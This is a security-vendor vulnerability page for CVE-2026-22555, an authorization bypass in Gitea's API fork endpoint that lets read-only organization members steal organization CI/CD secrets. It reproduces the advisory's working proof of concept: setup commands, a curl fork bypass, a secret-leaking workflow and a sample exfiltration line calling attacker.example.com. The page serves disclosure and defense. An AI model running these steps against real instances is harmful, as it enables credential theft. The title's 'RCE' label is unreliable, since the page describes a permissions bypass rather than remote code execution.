Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-22555 — gitea

HIGHFix: go-gitea/gitea#36950

CVE-2026-22555 is a high-severity (CVSS 8.1) CWE-284 vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.

Gitea organization forks can expose organization secrets without create permission

Also known asGHSA-fhx7-m96w-mv29GO-2026-5365
Published
Jul 3, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22555.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-22555 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with can_create_org_repo=false — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.

Steps To Reproduce

1. Environment setup

Start a Gitea instance with Actions enabled:

# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  gitea:
    image: gitea/gitea:1.23
    container_name: gitea-poc
    ports:
      - "3000:3000"
    volumes:
      - gitea-data:/data
    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__server__ROOT_URL=http://localhost:3000/
      - GITEA__security__INSTALL_LOCK=true
      - GITEA__actions__ENABLED=true
volumes:
  gitea-data:
EOF

docker compose up -d
# Wait for startup
sleep 15

# Create admin user
docker exec -u git gitea-poc gitea admin user create \
  --admin --username admin --password 'Admin1234!' \
  --email [email protected] --must-change-password=false

2. Create the target environment (as admin)

# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
  -u "admin:Admin1234!" -H "Content-Type: application/json" \
  -d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")

# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attacker123!","email":"[email protected]","must_change_password":false}'

# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"target-org","visibility":"public"}'

# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"source-repo","auto_init":true}'

# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
  -H "Authorization: token $ADMIN_TOKEN"

# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
  -H "Authorization: token $ADMIN_TOKEN"

# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"AKIAIOSFODNN7EXAMPLE"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'

3. Register an Actions runner

# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)

# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
  -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
  -e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
  -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
  -v /var/run/docker.sock:/var/run/docker.sock \
  gitea/act_runner:latest

# Wait for runner registration
sleep 15

4. Verify attacker CANNOT create repos in the org (expected: 403)

# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
  -u "attacker:Attacker123!" -H "Content-Type: application/json" \
  -d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")

# Try creating a repo directly — should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
  -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403

# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
  "http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
  -H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403

5. Exploit: Fork into the org via API (THE BYPASS)

# Fork the source repo into the org — this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"organization":"target-org","name":"evil-fork"}')

echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
#   Fork created: target-org/evil-fork
#   Permissions: admin=True, push=True

The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.

6. Enable Actions and push exfiltration workflow

# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"has_actions":true}'

# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - name: Leak org secrets
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
          echo "=== SECRET EXFILTRATION ==="
          echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
          echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
          echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
          echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
          echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
          echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
          echo "=== END EXFILTRATION ==="
WFEOF
)

curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"

7. Verify secret exfiltration

# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90

# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"

Expected output in the workflow logs:

=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===

All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).

Impact

A read-only organization member — with no repository creation rights (can_create_org_repo=false) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.

The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.

Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.

This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.

Supporting Material/References

poc-fork-authz-bypass.zip

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.26.0go get code.gitea.io/gitea@v1.26.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.gitea.io/gitea to 1.26.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22555 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary The API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with `can_create_org_repo=false` — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentia
O3 Security · Impact-Aware SCA

Is CVE-2026-22555 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-22555: gitea RCE — Fixed in 1.26.0 | O3 Security